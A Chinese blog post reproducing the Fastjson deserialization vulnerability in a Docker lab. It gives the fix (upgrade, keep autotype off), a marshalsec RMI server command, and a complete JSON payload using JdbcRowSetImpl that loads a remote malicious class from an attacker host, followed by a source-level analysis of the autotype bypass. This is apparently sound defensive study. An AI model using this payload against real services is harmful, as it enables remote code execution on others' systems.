fastjson jar包_fastjson反序列化漏洞复现分析-CSDN博客

今天老大突然安排我一个很有意思的问题，需要测试一下关于fastjson反序列化漏洞的问题。 (因为项目里面有用到!!)

首先网上查阅了下资料：

漏洞危害：严重危危危。。。

FastJson最新(2019年6月)爆出的绕过方法可以通杀1.2.48版本以下所有，有传言在autotype开启的情况下可以打到1.2.57。

解决方案：

FastJson升级到最新1.2.58版本；
采用默认的关闭autotype
于是我有一个大胆的想法，想在自己本机上复现这种情况，于是查了下资料，首先需要的是一个靶场(就是一个漏洞环境)，于是马上就想到了用docker来模拟这个靶场，为了模拟这个靶场和运行的攻击环境真的是太费功夫了，这里期间的坑太多了，主要记录了一下：

bug复现靶场搭建：

首先docker上面的运行环境都需要存在，包括最基本的 java 环境，python3版本，git ，docker ，maven
提到这个靶场，我无意间仿佛打开了一个新世界的大门，就是 Vulhub
由Phithon维护的Vulhub ：https://github.com/phith0n/vulhub
Vulhub是一个面向大众的开源漏洞靶场，无需Docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。
由 Medicean 维护的Vulapp项目地址：
https://github.com/Medicean/VulApps
Vulapp收集各种漏洞环境，为方便使用，统一采用 Dockerfile 形式。同时也收集了安全工具环境。

这个具体搭建环境和场景我就不操作了，具体可以在网上搜索下，如果出现访问443的时候可以https://blog.csdn.net/CoreyXuu/article/details/106488361 参考

靶场环境搭建好了，我这里创建了两个环境一个是靶机和攻击者站点分别是如下图：

1.靶机：http://192.168.3.105:8090,使用docker起的靶机

2.攻击者站点：http://192.168.3.105:8080,这里用的是tomcat(nginx或其他亦可)，同样使用docker起如上图

3.攻击者RMI服务器：rmi://192.168.3.102:6666

注意：攻击者有两个服务端需要准备，分别是存放攻击代码的http://192.168.3.105:8080和rmi://192.168.3.102:6666

然后就是自己的思路了：

攻击者通过RMI服务返回一个JNDI Naming Reference，受害者解码Reference时会去我们指定的Codebase远程地址(http://192.168.3.105:8080)加载Factory类，不受 java.rmi.server.useCodebaseOnly 系统属性的限制，所以更加通用。

但是由于JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 默认为false，即默认不允许从远程的Codebase加载Reference的工厂类(Factory Class)。

因此本文复现，基于Java 8u102环境，没有com.sun.jndi.rmi.object.trustURLCodebase的限制

漏洞复现

一：192.168.3.105:8080站点准备

二：在idea中编译以下代码，生成TouchFile.class文件，文件代码很简单，就是为了在/tmp目录下生成success文件

工程目录

通过docker起个tomcat，在tomcat的web目录/usr/local/tomcat/webapps/ROOT/下，放入刚刚编译好的TouchFile.class文件

RMI服务器准备

(1)从https://github.com/mbechler/marshalsec 下载源码，进入marshalsec 目录，使用mvn clean package -DskipTests命令编译出marshalsec的jar包：

(2)进入上图marshalsec-0.0.3-SNAPSHOT.jar所在文件夹，执行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec.jndi.RMIRefServer

"http://192.168.3.105:8080/#TouchFile" 6666 。

其中192.168.3.105:8080指向的就是放了恶意class的tomcat站点，#TouchFile指定是远程TouchFile类，最后的6666代表RMI服务监听的端口

攻击请求包构造

开bp截包，dataSourceName对应的值中指定指明rmi服务器的地址，其中Content-Type: application/json别忘了，靶机回500：

POST / HTTP/1.1Accept: */*Accept-Language: zh-CNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)Host: 192.168.3.105:8080Connection: closeContent-Length: 165Content-Type: application/jsonAccept-Encoding: gzip, deflate{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.3.102:6666/TouchFile",        "autoCommit":true    }}

如图

rmi服务器可以看到成功收到请求，并请求http://192.168.3.105:8080/TouchFile.class：

tomcat日志中也可以看到请求成功

/tmp目录下成功生成success文件

通过DNS拿回显

在实际情况下，因为不可能会有受害机权限，往往不会通过创建文件方式来证明漏洞存在。一般常用方法是通过DNS拿回显网上是这样说的。

命令直接换成ping

同样jndi服务指向也要改下，对应tomcat的Dns.class记得放到对应目录下

dns回显成功拿到

最后看了下源码：

这次绕过的大体思路是通过java.lang.Class，将JdbcRowSetImpl类加载到map缓存，从而绕过autotype的检测。因此将payload分两次发送，第一次加载，第二次执行。默认情况下，只要遇到没有加载到缓存的类，checkautotype就会抛出异常并中止。

入口在parse方法，单步进去

一步步跟到DefaultJSONParser.java中有一段调用checkautotype，也就是检测的核心逻辑。跟进该方法

clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())

在开启的情况下，checkautotype方法类似黑名单，会进入下图逻辑，通过将类名hash后和denyHashCodes进行对比。目前有人fuzz出了部分黑名单中的类：https://github.com/LeadroyaL/fastjson-blacklist。开启的情况下，当黑名单检测命中时，根据代码逻辑，会先通过loadClass方法加载该类并返回，因此就绕过了检测。

在autotype关闭的情况下，checkautotype方法类似白名单，主要检测类是否在白名单中，也就是是否被加载。通过getClassFromMapping尝试在缓存加载该类。如果不存在，下边还会通过deserializers来找，如果都没有，下边就会抛异常。

当发送第一次请求时，Class是通过deserializers.findClass加载的，然后Class将JdbcRowSetImpl类加载进map中，然后第二次请求时，就这里就成功找到了JdbcRowSetImpl类，从而绕过检测。

加载JdbcRowSetImpl后，就和之前的payload一样了，通过JdbcRowSetImpl中的调用链，通过jndi的lookup加载远程类。

调用栈如下图

总结：脖子感觉要炸开一样死沉死沉的难受，需要休息